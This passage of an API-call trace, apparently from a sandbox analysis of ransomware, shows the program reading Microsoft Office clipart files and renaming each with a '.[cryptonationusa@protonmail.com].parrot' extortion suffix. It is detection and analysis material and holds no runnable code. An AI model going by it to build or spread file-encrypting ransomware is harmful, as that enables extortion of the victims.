(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.679] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.679] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.681] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.681] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1708, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1708, lpOverlapped=0x0) returned 1 [0152.682] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.686] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.686] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.687] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.687] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1264, lpOverlapped=0x0) returned 1 [0152.688] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.692] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.693] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.694] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.694] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d84, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d84, lpOverlapped=0x0) returned 1 [0152.695] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.695] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.697] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.697] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.697] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.699] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.699] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.700] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.700] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae1a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xae1a, lpOverlapped=0x0) returned 1 [0152.702] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0152.755] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.755] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.757] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.757] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b38, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5b38, lpOverlapped=0x0) returned 1 [0152.759] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.764] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.765] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.766] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.766] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1075e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1075e, lpOverlapped=0x0) returned 1 [0152.769] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.770] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0152.774] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.774] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.775] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.775] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x43b0, lpOverlapped=0x0) returned 1 [0152.777] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.782] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.782] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.807] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.809] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x59d8, lpOverlapped=0x0) returned 1 [0152.810] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.811] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.819] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.819] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.829] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.829] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x75ca, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x75ca, lpOverlapped=0x0) returned 1 [0152.830] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.840] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.840] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.841] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.841] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x51a8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x51a8, lpOverlapped=0x0) returned 1 [0152.843] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.849] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.849] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.851] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.851] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x54b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x54b0, lpOverlapped=0x0) returned 1 [0152.908] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.908] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.922] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.922] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.924] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.924] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x47a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x47a0, lpOverlapped=0x0) returned 1 [0152.926] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.930] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.930] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.932] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.932] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa8a6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa8a6, lpOverlapped=0x0) returned 1 [0152.934] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0152.939] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.939] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.942] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.942] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2566, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2566, lpOverlapped=0x0) returned 1 [0152.943] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0152.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0152.949] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.949] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.951] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, 